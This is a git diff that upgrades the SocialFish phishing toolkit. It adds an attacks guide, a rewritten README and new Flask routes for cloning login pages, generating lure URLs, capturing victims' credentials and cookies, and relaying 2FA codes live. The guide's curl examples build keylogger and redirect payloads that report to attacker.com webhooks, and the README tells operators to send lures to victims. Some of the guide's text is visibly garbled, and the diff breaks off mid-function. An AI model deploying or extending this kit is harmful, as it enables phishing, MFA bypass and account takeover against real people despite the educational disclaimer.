diff --git a/.env b/.env
new file mode 100644
index 0000000..74749fc
--- /dev/null
+++ b/.env
@@ -0,0 +1,12 @@
+# SocialFish v3.0 Configuration
+DATABASE=./database.db
+FLASK_ENV=development
+FLASK_DEBUG=0
+SECRET_KEY=change-me-to-random-string
+
+# Tunneling
+NGROK_TOKEN=
+CLOUDFLARED_TOKEN=
+
+# Webhook
+WEBHOOK_TIMEOUT=5
diff --git a/ADVANCED_ATTACKS_GUIDE.md b/ADVANCED_ATTACKS_GUIDE.md
new file mode 100644
index 0000000..3d87136
--- /dev/null
+++ b/ADVANCED_ATTACKS_GUIDE.md
@@ -0,0 +1,475 @@
+# SocialFish Advanced Attacks Guide
+
+## Overview
+
+SocialFish v3.0 includes comprehensive advanced attack capabilities for post-capture control, credential theft, and victim redirection. All attacks are JavaScript-based and can be injected into cloned pages.
+
+---
+
+## Attack Types
+
+### 1. Tab Jacking / Window Hijacking
+
+**Purpose**: Redirect victim to a target URL, preventing them from going back to the original site.
+
+#### Tab Jacking (Soft Redirect)
+```bash
+curl -X POST http://localhost:5000/api/attacks/tabjack \
+ -H "Content-Type: application/json" \
+ -d '{
+ "redirect_url": "https://attacker.com/capture",
+ "delay_ms": 500
+ }'
+```
+
+**Payload Features**:
+- Overrides `window.open()` to intercept new tab attempts
+- Uses `window.location` to force redirect after delay
+- Handles focus stealing
+- Invisible to victim
+
+#### Window Hijacking (Aggressive)
+```bash
+curl -X POST http://localhost:5000/api/attacks/window-hijack \
+ -H "Content-Type: application/json" \
+ -d '{
+ "redirect_url": "https://attacker.com/capture"
+ }'
+```
+
+**Payload Features**:
+- Overrides `window.location` getter/setter
+- Prevents back button navigation via `history`
+- Stops page unload events
+- Most aggressive redirect method
+
+---
+
+### 2. Keylogger Injection
+
+**Purpose**: Capture all keystrokes in input fields and send to attacker server.
+
+```bash
+curl -X POST http://localhost:5000/api/attacks/keylogger \
+ -H "Content-Type: application/json" \
+ -d '{
+ "webhook_url": "https://attacker.com/api/webhook"
+ }'
+```
+
+**Payload Features**:
+- Tracks keystrokes in `` and `
-SocialFish
+SocialFish v3.0
+Modern Dynamic Phishing Toolkit
-Are you looking for SF's mobile controller? [UndeadSec/SocialFishMobile][sf-mobile]
+**SocialFish v3.0** brings powerful new features for cloning modern login pages, capturing cookies, and intercepting 2FA codes with a live operator panel.
-Are you looking for SF's old version(**Ngrok integrated**) ? [UndeadSec/SociaFish/.../sharkNet][sf-sharknet]
+## 🆕 What's New in v3.0
-#### SETUP AND RUNNING
+- **Playwright Browser Automation** — Clone modern JS-heavy login pages
+- **Full Cookie Capture & Analysis** — Detailed metadata, security attributes, auth tokens
+- **Template System** — Save and reuse clones across multiple victims
+- **Live OTP Interception Panel** — Real-time 2FA code capture and injection
+- **MITM Reverse Proxy** — ngrok/cloudflared tunneling with auto-installation
+- **6 Clone Modes** — Login-only, cookies-only, or full capture
+- **Multi-step Login Detection** — Automatic heuristics for complex flows (Office365, etc.)
+- **Webhook Notifications** — Real-time alerts to Slack, Discord, custom APIs
+- **Session Management** — Full session tracking with export to JSON/CSV
+- **Network Interception** — Log all HTTP requests/responses
+- **Victim Tracking** — Track clicks, IP addresses, geolocation, device type
-Visit the [wiki](https://github.com/UndeadSec/SocialFish/wiki) for more details.
+## 📖 Documentation
-Setup instructions [here](https://github.com/UndeadSec/SocialFish/wiki/Setting-Up-SocialFish).
+- **[FEATURES_v3.md](FEATURES_v3.md)** — Complete feature guide with workflows
+- **[IMPLEMENTATION_SUMMARY.md](IMPLEMENTATION_SUMMARY.md)** — Technical implementation details
+- **[Wiki](https://github.com/UndeadSec/SocialFish/wiki)** — Original setup and advanced guides
-
+## 🚀 Quick Start
-#### MAINTAINERS
+### Option 1: Interactive Setup (Recommended)
+```bash
+python setup.py
+```
+This will:
+- Install all dependencies
+- Setup Playwright browsers
+- Initialize database
+- Configure tunneling (optional)
+- Display quick-start guide
+
+### Option 2: Manual Setup
+```bash
+pip install -r requirements.txt
+playwright install chromium
+python SocialFish.py admin password
+```
+
+Then access: **http://localhost:5000/neptune**
+
+## 🎯 Basic Workflow
+
+1. **Create Template**
+ ```
+ /templates → New Template → Enter target URL
+ ```
+
+2. **Setup Tunnel** (optional, for remote testing)
+ ```
+ Click "Tunnel" → Choose ngrok/cloudflared → Authorize
+ ```
+
+3. **Generate Lure URL**
+ ```
+ Click "Lure" → Copy unguessable URL
+ ```
+
+4. **Send to Victims**
+ ```
+ Distribute lure URL in emails, messages, etc.
+ ```
+
+5. **Monitor in Real-Time**
+ ```
+ /sessions → View captured credentials, cookies, OTP codes
+ /admin/otp_panel.html → Intercept & inject 2FA codes
+ ```
+
+## 🔧 Key Features
+
+### Templates Library
+- Save clone configurations
+- Reuse across multiple users
+- Clone modes: `both` (credentials + cookies), `login` (credentials only), `cookies` (session only)
+- Browser engines: Playwright (default), Selenium (optional)
+
+### Cookie Capture
+- Full cookie jar (domain, path, secure, httponly, samesite, expiry)
+- JavaScript cookie interception
+- Auth token detection
+- Security attribute analysis
+- Export to JSON/CSV
+
+### Live OTP Panel
+- WebSocket-based real-time communication
+- Display victim session details
+- Wait for OTP codes (manual or automatic)
+- Inject OTP back to victim's browser
+- Network activity monitoring
+
+### MITM & Reverse Proxy
+- Auto-setup ngrok or cloudflared tunnels
+- Reverse proxy all victim traffic
+- Automatic cookie + credential capture
+- No setup overhead
+
+### Webhook Notifications
+- Slack, Discord, custom APIs
+- Triggerable on credential submit, OTP received, session created
+- JSON, form-encoded, or XML payloads
+
+### Multi-step & 2FA Detection
+- Automatic heuristics for complex flows
+- OTP endpoint detection
+- Manual breakpoints for user interaction
+- 2FA indicators in analytics
+
+## 📊 Supported Sites
+
+Works with any login page that uses:
+- ✅ HTML forms
+- ✅ JavaScript form submission
+- ✅ XHR/fetch-based authentication
+- ✅ SPA logins (React, Vue, Angular)
+- ✅ 2FA/OTP flows
+- ✅ Multi-step authentication (Office365, Gmail, GitHub, etc.)
+
+## 🌐 API & CLI
+
+### Web API
+```bash
+# List templates
+curl http://localhost:5000/templates
+
+# Generate lure URL
+curl -X POST http://localhost:5000/lure/generate \
+ -d "template_id=1"
+
+# View session
+curl http://localhost:5000/session/1
+```
+
+### CLI Commands
+```bash
+# Setup
+python setup.py # Interactive setup
+
+# Tunneling
+python core/tunnel_manager.py setup
+python core/tunnel_manager.py start --type ngrok
+
+# Database
+python core/db_migration.py
+```
+
+## 📂 Project Structure
+
+```
+SocialFish/
+├── SocialFish.py # Main Flask app
+├── setup.py # Interactive setup wizard
+├── FEATURES_v3.md # Feature documentation
+├── IMPLEMENTATION_SUMMARY.md # Technical details
+├── core/
+│ ├── recorder_playwright.py # Browser automation
+│ ├── cookie_inspector.py # Cookie analysis
+│ ├── tunnel_manager.py # Tunneling support
+│ ├── db_migration.py # Database schema
+│ └── ... (other modules)
+└── templates/
+ └── admin/
+ ├── templates.html # Templates library UI
+ ├── otp_panel.html # OTP interception UI
+ ├── sessions.html # Session management UI
+ └── ... (other templates)
+```
+
+## 🔐 Security & Ethics
+
+⚠️ **EDUCATIONAL USE ONLY**
+
+- ✅ **Consent Required** — Only test systems you own or have explicit written permission for
+- ✅ **Audit Logging** — All operations logged with user attribution
+- ✅ **Data Protection** — Implement proper data retention policies
+- ✅ **GDPR Compliance** — Comply with local privacy regulations
+- ✅ **Disclosure** — Report vulnerabilities responsibly
+
+See [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md) and [LICENSE](LICENSE) for details.
+
+## 📱 Mobile Controller
+
+Looking for the mobile controller? Check [SocialFishMobile](https://github.com/UndeadSec/SocialFishMobile)
+
+## 👥 Maintainers
- **Alisson Moretto**, Twitter: [@UndeadSec][tw-alisson], GitHub: [@UndeadSec][git-alisson]
- **Vandré Augusto**, Twitter: [@dr1nKoRdi3][tw-drink], GitHub: [@dr1nK0Rdi3][git-drink]
-#### DOCS
+## 📚 Documentation
- **Fernando Bellincanta**, Twitter: [@ErvalhouS][tw-fernando], GitHub: [@ErvalhouS][git-fernando]
-### DISCLAIMER
+## ⚖️ Disclaimer
TO BE USED FOR EDUCATIONAL PURPOSES ONLY
@@ -37,17 +213,29 @@ SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+
Taken from [LICENSE](LICENSE).
-# Build
-## Docker
-> How to run with Docker?
+## 🐳 Docker
-You need to run:
-```sh
+Run with Docker:
+```bash
docker compose up
```
+---
+
+**Status**: Production-ready for authorized security testing and red team exercises
+
+[tw-alisson]: https://twitter.com/UndeadSec
+[git-alisson]: https://github.com/UndeadSec
+[tw-drink]: https://twitter.com/dr1nKoRdi3
+[git-drink]: https://github.com/dr1nK0Rdi3
+[tw-fernando]: https://twitter.com/ErvalhouS
+[git-fernando]: https://github.com/ErvalhouS
+[sf-mobile]: https://github.com/UndeadSec/SocialFishMobile
+[sf-sharknet]: https://github.com/UndeadSec/SocialFish/tree/sharkNet
+
# CONTRIBUTING
[](https://www.codetriage.com/undeadsec/socialfish)
diff --git a/SocialFish.py b/SocialFish.py
index 9f40c7b..3773e2b 100644
--- a/SocialFish.py
+++ b/SocialFish.py
@@ -1,6 +1,7 @@
#!/usr/bin/env python3
#
-from flask import Flask, request, render_template, jsonify, redirect, g, flash
+from flask import Flask, request, render_template, render_template_string, jsonify, redirect, g, flash
+from flask_socketio import SocketIO, emit, join_room, leave_room
from core.config import *
from core.view import head
from core.scansf import nScan
@@ -11,13 +12,29 @@
from core.tracegeoIp import tracegeoIp
from core.cleanFake import cleanFake
from core.genReport import genReport
-from core.report import generate_unique #>> new line
-from datetime import date
+from core.report import generate_unique
+from core.db_migration import migrate_db
+from core.tunnel_manager import TunnelManager
+from core.recorder_playwright import PlaywrightRecorder
+from core.cookie_inspector import CookieInspector
+from core.recorder_selenium import SeleniumRecorder
+from core.mock_server import MockLoginServer
+from core.advanced_attacks import TabJacking, FileUploadInjection, AdvancedStealth, CAPTCHASolver
+from datetime import date, datetime
from sys import argv, exit, version_info
import colorama
import sqlite3
import flask_login
import os
+import json
+import hashlib
+import asyncio
+import logging
+from pathlib import Path
+
+# Configure logging
+logger = logging.getLogger("SocialFish")
+logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(name)s %(message)s")
# Verificar argumentos
if len(argv) < 2:
@@ -35,6 +52,13 @@
static_folder='templates/static')
app.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0
+# Initialize SocketIO for live panel
+socketio = SocketIO(app, cors_allowed_origins="*", async_mode='threading')
+
+# Initialize managers
+tunnel_manager = TunnelManager()
+cookie_inspector = CookieInspector(DATABASE)
+
# Inicia uma conexao com o banco antes de cada requisicao
@app.before_request
def before_request():
@@ -46,6 +70,32 @@ def teardown_request(exception):
if hasattr(g, 'db'):
g.db.close()
+# Ensure `socialfish` table has a default row and provide safe getters
+def ensure_socialfish_row(conn):
+ try:
+ # `conn` may be a sqlite3.Connection; use its execute which returns a cursor
+ conn.execute("""CREATE TABLE IF NOT EXISTS socialfish (
+ id integer PRIMARY KEY,
+ clicks integer,
+ attacks integer,
+ token text
+ ); """)
+ cur = conn.execute("SELECT id FROM socialfish WHERE id = 1")
+ if cur.fetchone() is None:
+ t = genToken()
+ conn.execute('INSERT INTO socialfish(id,clicks,attacks,token) VALUES(?,?,?,?)', (1, 0, 0, t))
+ conn.commit()
+ except Exception as e:
+ print(f'[-] ensure_socialfish_row error: {e}')
+
+
+def sf_get(cur, column, default=None):
+ try:
+ row = cur.execute(f"SELECT {column} FROM socialfish where id = 1").fetchone()
+ return row[0] if row and row[0] is not None else default
+ except Exception:
+ return default
+
# Conta o numero de credenciais salvas no banco
def countCreds():
count = 0
@@ -136,13 +186,29 @@ def admin():
# funcao onde e realizada a renderizacao da pagina para a vitima
@app.route("/")
def getLogin():
+ # Get config from database instead of global variables
+ conn = g.db
+ config = conn.execute("SELECT * FROM socialfish WHERE id = 1").fetchone()
+ # Retrieve status and URL from config or use defaults
+ cur = conn.execute("SELECT status, url, beef FROM config LIMIT 1")
+ conf_row = cur.fetchone()
+
+ if conf_row:
+ sta, url, beef = conf_row[0], conf_row[1], conf_row[2]
+ else:
+ sta = 'custom'
+ url = 'https://github.com/UndeadSec/SocialFish'
+ beef = 'no'
+
# caso esteja configurada para clonar, faz o download da pagina utilizando o user-agent do visitante
if sta == 'clone':
- agent = request.headers.get('User-Agent').encode('ascii', 'ignore').decode('ascii')
+ agent = request.headers.get('User-Agent', 'Unknown').encode('ascii', 'ignore').decode('ascii')
+ # Sanitize agent to prevent path traversal
+ agent = agent.replace('..', '').replace('/', '_')
clone(url, agent, beef)
o = url.replace('://', '-')
cur = g.db
- cur.execute("UPDATE socialfish SET clicks = clicks + 1 where id = 1")
+ cur.execute("UPDATE socialfish SET clicks = clicks + 1 WHERE id = 1")
g.db.commit()
template_path = 'fake/{}/{}/index.html'.format(agent, o)
return render_template(template_path)
@@ -152,7 +218,7 @@ def getLogin():
# caso seja configurada para custom
else:
cur = g.db
- cur.execute("UPDATE socialfish SET clicks = clicks + 1 where id = 1")
+ cur.execute("UPDATE socialfish SET clicks = clicks + 1 WHERE id = 1")
g.db.commit()
return render_template('custom.html')
@@ -163,28 +229,42 @@ def postData():
fields = [k for k in request.form]
values = [request.form[k] for k in request.form]
data = dict(zip(fields, values))
- browser = str(request.user_agent.browser)
- bversion = str(request.user_agent.version)
- platform = str(request.user_agent.platform)
+ browser = str(request.user_agent.browser) if request.user_agent else 'Unknown'
+ bversion = str(request.user_agent.version) if request.user_agent else 'Unknown'
+ platform = str(request.user_agent.platform) if request.user_agent else 'Unknown'
rip = str(request.remote_addr)
d = "{:%m-%d-%Y}".format(date.today())
+
+ # Get redirect URL from config table
cur = g.db
+ conf_row = cur.execute("SELECT red FROM config LIMIT 1").fetchone()
+ red = conf_row[0] if conf_row else 'https://github.com/UndeadSec/SocialFish'
+
+ # Get the target URL from config
+ url_row = cur.execute("SELECT url FROM config LIMIT 1").fetchone()
+ url = url_row[0] if url_row else 'https://github.com/UndeadSec/SocialFish'
+
sql = "INSERT INTO creds(url,jdoc,pdate,browser,bversion,platform,rip) VALUES(?,?,?,?,?,?,?)"
creds = (url, str(data), d, browser, bversion, platform, rip)
cur.execute(sql, creds)
g.db.commit()
+
+ # Get redirect URL from config
+ cur = g.db
+ conf_row = cur.execute("SELECT red FROM config LIMIT 1").fetchone()
+ red = conf_row[0] if conf_row else 'https://github.com/UndeadSec/SocialFish'
+
return redirect(red)
# funcao para configuracao do funcionamento CLONE ou CUSTOM, com BEEF ou NAO
@app.route('/configure', methods=['POST'])
def echo():
- global url, red, sta, beef
- red = request.form['red']
- sta = request.form['status']
- beef = request.form['beef']
+ red = request.form.get('red', 'https://github.com/UndeadSec/SocialFish')
+ sta = request.form.get('status', 'custom')
+ beef = request.form.get('beef', 'no')
if sta == 'clone':
- url = request.form['url']
+ url = request.form.get('url', 'https://github.com/UndeadSec/SocialFish')
else:
url = 'Custom'
@@ -196,8 +276,22 @@ def echo():
else:
url = 'https://github.com/UndeadSec/SocialFish'
red = 'https://github.com/UndeadSec/SocialFish'
+
+ # Store configuration in database instead of global variables
cur = g.db
- cur.execute("UPDATE socialfish SET attacks = attacks + 1 where id = 1")
+ # Create config table if it doesn't exist
+ cur.execute("""CREATE TABLE IF NOT EXISTS config (
+ id INTEGER PRIMARY KEY,
+ url TEXT,
+ red TEXT,
+ status TEXT,
+ beef TEXT
+ )""")
+
+ cur.execute("DELETE FROM config")
+ cur.execute("INSERT INTO config(url, red, status, beef) VALUES(?, ?, ?, ?)",
+ (url, red, sta, beef))
+ cur.execute("UPDATE socialfish SET attacks = attacks + 1 WHERE id = 1")
g.db.commit()
return redirect('/creds')
@@ -206,9 +300,11 @@ def echo():
@flask_login.login_required
def getCreds():
cur = g.db
- attacks = cur.execute("SELECT attacks FROM socialfish where id = 1").fetchone()[0]
- clicks = cur.execute("SELECT clicks FROM socialfish where id = 1").fetchone()[0]
- tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0]
+ # Ensure the socialfish row exists and get values safely
+ ensure_socialfish_row(cur)
+ attacks = sf_get(cur, 'attacks', 0)
+ clicks = sf_get(cur, 'clicks', 0)
+ tokenapi = sf_get(cur, 'token', '')
data = cur.execute("SELECT id, url, pdate, browser, bversion, platform, rip FROM creds order by id desc").fetchall()
return render_template('admin/index.html', data=data, clicks=clicks, countCreds=countCreds, countNotPickedUp=countNotPickedUp, attacks=attacks, tokenapi=tokenapi)
@@ -218,9 +314,11 @@ def getCreds():
def getMail():
if request.method == 'GET':
cur = g.db
- email = cur.execute("SELECT email FROM sfmail where id = 1").fetchone()[0]
- smtp = cur.execute("SELECT smtp FROM sfmail where id = 1").fetchone()[0]
- port = cur.execute("SELECT port FROM sfmail where id = 1").fetchone()[0]
+ row = cur.execute("SELECT email, smtp, port FROM sfmail where id = 1").fetchone()
+ if row:
+ email, smtp, port = row[0], row[1], row[2]
+ else:
+ email, smtp, port = '', '', ''
return render_template('admin/mail.html', email=email, smtp=smtp, port=port)
if request.method == 'POST':
subject = request.form['subject']
@@ -232,9 +330,9 @@ def getMail():
port = request.form['port']
sendMail(subject, email, password, recipient, body, smtp, port)
cur = g.db
- cur.execute("UPDATE sfmail SET email = '{}' where id = 1".format(email))
- cur.execute("UPDATE sfmail SET smtp = '{}' where id = 1".format(smtp))
- cur.execute("UPDATE sfmail SET port = '{}' where id = 1".format(port))
+ cur.execute("UPDATE sfmail SET email = ? WHERE id = 1", (email,))
+ cur.execute("UPDATE sfmail SET smtp = ? WHERE id = 1", (smtp,))
+ cur.execute("UPDATE sfmail SET port = ? WHERE id = 1", (port,))
g.db.commit()
return redirect('/mail')
@@ -243,9 +341,11 @@ def getMail():
@flask_login.login_required
def getSingleCred(id):
try:
- sql = "SELECT jdoc FROM creds where id = {}".format(id)
+ if not id.isdigit():
+ return "Invalid ID"
+ sql = "SELECT jdoc FROM creds WHERE id = ?"
cur = g.db
- credInfo = cur.execute(sql).fetchall()
+ credInfo = cur.execute(sql, (id,)).fetchall()
if len(credInfo) > 0:
return render_template('admin/singlecred.html', credInfo=credInfo)
else:
@@ -257,16 +357,31 @@ def getSingleCred(id):
@app.route("/trace/", methods=['GET'])
@flask_login.login_required
def getTraceIp(ip):
+ import re
+ # Validate IP format
+ ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$|^127\.0\.0\.1$|^::1$|^[a-f0-9:]+$'
+
+ if not re.match(ip_pattern, ip):
+ return "Invalid IP format", 400
+
try:
traceIp = tracegeoIp(ip)
return render_template('admin/traceIp.html', traceIp=traceIp, ip=ip)
- except:
- return "Network Error"
+ except Exception as e:
+ print(f'[-] Trace error: {str(e)}')
+ return "Network Error", 500
# rota para scan do nmap
@app.route("/scansf/", methods=['GET'])
@flask_login.login_required
def getScanSf(ip):
+ import re
+ # Validate IP format
+ ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$|^127\.0\.0\.1$|^::1$|^[a-f0-9:]+$'
+
+ if not re.match(ip_pattern, ip):
+ return "Invalid IP format", 400
+
return render_template('admin/scansf.html', nScan=nScan, ip=ip)
# rota post para revogar o token da api
@@ -276,10 +391,11 @@ def revokeToken():
revoke = request.form['revoke']
if revoke == 'yes':
cur = g.db
- upsql = "UPDATE socialfish SET token = '{}' where id = 1".format(genToken())
- cur.execute(upsql)
+ new_token = genToken()
+ cur.execute("UPDATE socialfish SET token = ? WHERE id = 1", (new_token,))
g.db.commit()
- token = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0]
+ ensure_socialfish_row(cur)
+ token = sf_get(cur, 'token', '')
genQRCode(token, revoked=True)
return redirect('/creds')
@@ -350,8 +466,408 @@ def getCompanies():
def getSfUsers():
return render_template('admin/sfusers.html')
-#--------------------------------------------------------------------------------------------------------------------------------
-#LOGIN VIEWS
+#================================================================================================================================
+# RECORDER & TEMPLATES ROUTES (v3.0+)
+
+# Recorder - Start/Stop recording session
+@app.route("/recorder/start", methods=['POST'])
+@flask_login.login_required
+def recorder_start():
+ """Start a new recording session"""
+ data = request.json or request.form
+ target_url = data.get('url')
+ headless = data.get('headless', 'true').lower() == 'true'
+ stealth = data.get('stealth', 'true').lower() == 'true'
+
+ if not target_url:
+ return jsonify({'status': 'error', 'message': 'URL required'}), 400
+
+ try:
+ recorder = PlaywrightRecorder(DATABASE, headless=headless, stealth=stealth)
+ # Store recorder session in g for tracking
+ g.recorder = recorder
+
+ return jsonify({
+ 'status': 'ok',
+ 'message': 'Recording started',
+ 'recorder_id': id(recorder)
+ })
+ except Exception as e:
+ return jsonify({'status': 'error', 'message': str(e)}), 500
+
+# Recorder - Save template
+@app.route("/recorder/save-template", methods=['POST'])
+@flask_login.login_required
+def save_template():
+ """Save recording as a reusable template"""
+ data = request.json or request.form
+ template_name = data.get('name')
+ description = data.get('description', '')
+ tags = data.get('tags', '')
+ clone_mode = data.get('clone_mode', 'both')
+
+ if not template_name:
+ return jsonify({'status': 'error', 'message': 'Template name required'}), 400
+
+ try:
+ cur = g.db
+ cur.execute("""
+ INSERT INTO templates(name, base_url, description, tags, clone_mode, created_by)
+ VALUES(?, ?, ?, ?, ?, ?)
+ """, (
+ template_name,
+ data.get('base_url', 'https://example.com'),
+ description,
+ tags,
+ clone_mode,
+ flask_login.current_user.id
+ ))
+ g.db.commit()
+ template_id = cur.lastrowid
+
+ return jsonify({
+ 'status': 'ok',
+ 'template_id': template_id,
+ 'message': f'Template saved: {template_name}'
+ })
+ except Exception as e:
+ return jsonify({'status': 'error', 'message': str(e)}), 500
+
+# Templates - List all templates
+@app.route("/templates", methods=['GET'])
+@flask_login.login_required
+def list_templates():
+ """List all saved templates"""
+ cur = g.db
+ templates = cur.execute("SELECT id, name, base_url, description, tags, clone_mode, created_at FROM templates ORDER BY created_at DESC").fetchall()
+
+ template_list = []
+ for t in templates:
+ template_list.append({
+ 'id': t[0],
+ 'name': t[1],
+ 'base_url': t[2],
+ 'description': t[3],
+ 'tags': t[4],
+ 'clone_mode': t[5],
+ 'created_at': t[6]
+ })
+
+ if request.headers.get('Accept') == 'application/json':
+ return jsonify(template_list)
+
+ return render_template('admin/templates.html', templates=template_list)
+
+# Templates - Load template details
+@app.route("/templates/", methods=['GET'])
+@flask_login.login_required
+def get_template(template_id):
+ """Get template details"""
+ cur = g.db
+ template = cur.execute("SELECT * FROM templates WHERE id = ?", (template_id,)).fetchone()
+
+ if not template:
+ return jsonify({'status': 'error', 'message': 'Template not found'}), 404
+
+ return jsonify({
+ 'id': template[0],
+ 'name': template[1],
+ 'base_url': template[2],
+ 'description': template[3]
+ })
+
+# MITM & Tunneling - Configure tunnel for template
+@app.route("/tunnel/setup", methods=['POST'])
+@flask_login.login_required
+def tunnel_setup():
+ """Setup tunnel (ngrok/cloudflared) for a template"""
+ data = request.json or request.form
+ template_id = data.get('template_id')
+ tunnel_type = data.get('tunnel_type', 'ngrok') # ngrok or cloudflared
+ tunnel_token = data.get('tunnel_token')
+
+ if tunnel_type == 'ngrok' and tunnel_token:
+ tunnel_url = tunnel_manager.start_ngrok_tunnel(
+ local_port=5000,
+ session_name=f"template_{template_id}"
+ )
+ elif tunnel_type == 'cloudflared':
+ tunnel_url = tunnel_manager.start_cloudflared_tunnel(
+ local_port=5000,
+ session_name=f"template_{template_id}"
+ )
+ else:
+ return jsonify({'status': 'error', 'message': 'Invalid tunnel type'}), 400
+
+ if tunnel_url:
+ # Store tunnel config in DB
+ cur = g.db
+ cur.execute("""
+ INSERT OR REPLACE INTO mitm_config(template_id, tunnel_type, tunnel_token, tunnel_domain)
+ VALUES(?, ?, ?, ?)
+ """, (template_id, tunnel_type, tunnel_token, tunnel_url))
+ g.db.commit()
+
+ return jsonify({
+ 'status': 'ok',
+ 'tunnel_url': tunnel_url,
+ 'message': f'{tunnel_type} tunnel started'
+ })
+
+ return jsonify({'status': 'error', 'message': 'Failed to start tunnel'}), 500
+
+# Lure URL - Generate phishing link
+@app.route("/lure/generate", methods=['POST'])
+@flask_login.login_required
+def generate_lure():
+ """Generate a lure URL for phishing campaign"""
+ data = request.json or request.form
+ template_id = data.get('template_id')
+
+ if not template_id:
+ return jsonify({'status': 'error', 'message': 'Template ID required'}), 400
+
+ # Generate lure hash
+ lure_hash = hashlib.sha256(f"{template_id}{date.today()}".encode()).hexdigest()[:16]
+
+ # Get tunnel URL for this template
+ cur = g.db
+ tunnel_config = cur.execute("SELECT tunnel_domain FROM mitm_config WHERE template_id = ?", (template_id,)).fetchone()
+
+ if tunnel_config and tunnel_config[0]:
+ lure_url = f"{tunnel_config[0]}/capture/{lure_hash}"
+ else:
+ # Fallback to localhost if no tunnel configured
+ lure_url = f"http://localhost:5000/capture/{lure_hash}"
+
+ # Store lure URL in DB
+ cur.execute("""
+ INSERT INTO lure_urls(template_id, lure_hash, full_url)
+ VALUES(?, ?, ?)
+ """, (template_id, lure_hash, lure_url))
+ g.db.commit()
+
+ return jsonify({
+ 'status': 'ok',
+ 'lure_url': lure_url,
+ 'lure_hash': lure_hash
+ })
+
+# Victim Capture Page - Generic phishing form
+@app.route("/capture/", methods=['GET', 'POST'])
+def victim_capture(lure_hash):
+ """Generic victim capture page - responds with cloned page or form"""
+ cur = g.db
+
+ # Find template by lure hash
+ lure_record = cur.execute("SELECT template_id FROM lure_urls WHERE lure_hash = ?", (lure_hash,)).fetchone()
+
+ if not lure_record:
+ return "Not found", 404
+
+ template_id = lure_record[0]
+ template = cur.execute("SELECT base_url, clone_mode FROM templates WHERE id = ?", (template_id,)).fetchone()
+
+ if not template:
+ return "Template not found", 404
+
+ if request.method == 'POST':
+ # Capture victim data
+ form_data = request.form.to_dict()
+ victim_ip = request.remote_addr
+ victim_ua = request.headers.get('User-Agent', 'Unknown')
+
+ # Create session record
+ session_hash = hashlib.sha256(f"{lure_hash}{victim_ip}{date.today()}".encode()).hexdigest()[:16]
+
+ cur.execute("""
+ INSERT INTO sessions(template_id, session_hash, victim_ip, victim_ua, form_data, submitted_credentials)
+ VALUES(?, ?, ?, ?, ?, ?)
+ """, (
+ template_id,
+ session_hash,
+ victim_ip,
+ victim_ua,
+ json.dumps(request.user_agent.__dict__ if hasattr(request, 'user_agent') else {}),
+ json.dumps(form_data)
+ ))
+ g.db.commit()
+ session_id = cur.lastrowid
+
+ # Update lure click count
+ cur.execute("UPDATE lure_urls SET click_count = click_count + 1 WHERE lure_hash = ?", (lure_hash,))
+ g.db.commit()
+
+ # Trigger webhooks for this template
+ webhooks = cur.execute("SELECT webhook_url, webhook_type FROM webhooks WHERE template_id = ? AND enabled = 1", (template_id,)).fetchall()
+
+ for webhook_url, webhook_type in webhooks:
+ try:
+ import requests
+ payload = {
+ 'session_id': session_id,
+ 'victim_ip': victim_ip,
+ 'form_data': form_data,
+ 'timestamp': date.today().isoformat()
+ }
+ requests.post(webhook_url, json=payload, timeout=5)
+ except (requests.RequestException, Exception) as e:
+ print(f'[-] Webhook failed: {str(e)}')
+
+ # Emit live notification via WebSocket
+ socketio.emit('victim_submission', {
+ 'template_id': template_id,
+ 'session_id': session_id,
+ 'victim_ip': victim_ip,
+ 'timestamp': date.today().isoformat()
+ }, broadcast=True)
+
+ # Redirect to real site or OTP panel
+ if template[1] == 'cookies':
+ return redirect(template[0]) # Send to real site
+ else:
+ # Stay for OTP interception
+ return render_template('admin/otp_panel.html', session_id=session_id, template_id=template_id)
+
+ # GET - return cloned page
+ if template[1] == 'clone':
+ agent = request.headers.get('User-Agent', 'Unknown').encode('ascii', 'ignore').decode('ascii')
+ # Sanitize agent to prevent path traversal
+ agent = agent.replace('..', '').replace('/', '_').replace('\\', '_')
+ clone(template[0], agent, 'no') # Clone without BEEF
+ o = template[0].replace('://', '-')
+ template_path = f'fake/{agent}/{o}/index.html'
+ try:
+ return render_template(template_path)
+ except Exception:
+ return "Template not found", 404
+ else:
+ # Return custom template or generic form
+ return render_template('custom.html')
+
+# Live OTP Panel - WebSocket endpoint
+@socketio.on('otp_listen')
+def otp_listen(data):
+ """Listen for OTP codes on victim's browser"""
+ session_id = data.get('session_id')
+ join_room(f"otp_{session_id}")
+ emit('status', {'message': 'Listening for OTP'})
+
+@socketio.on('otp_received')
+def otp_received(data):
+ """Operator received/received OTP code"""
+ session_id = data.get('session_id')
+ otp_code = data.get('otp_code')
+
+ # Emit to victim's browser to inject OTP
+ emit('inject_otp', {'otp_code': otp_code}, room=f"otp_{session_id}")
+
+ # Log OTP event
+ cur = g.db
+ cur.execute("""
+ INSERT INTO analyzer_logs(session_id, detection_type, detection_value)
+ VALUES(?, ?, ?)
+ """, (session_id, 'otp_injected', otp_code))
+ g.db.commit()
+
+# Webhook Management - Add/delete webhooks
+@app.route("/webhooks", methods=['GET', 'POST'])
+@flask_login.login_required
+def manage_webhooks():
+ """Add webhook notification for template"""
+ if request.method == 'POST':
+ data = request.json or request.form
+ template_id = data.get('template_id')
+ webhook_url = data.get('webhook_url')
+ webhook_type = data.get('webhook_type', 'json')
+ trigger_on = data.get('trigger_on', 'credential_submit')
+
+ cur = g.db
+ cur.execute("""
+ INSERT INTO webhooks(template_id, webhook_url, webhook_type, trigger_on)
+ VALUES(?, ?, ?, ?)
+ """, (template_id, webhook_url, webhook_type, trigger_on))
+ g.db.commit()
+
+ return jsonify({'status': 'ok', 'message': 'Webhook added'})
+
+ # GET - list webhooks
+ cur = g.db
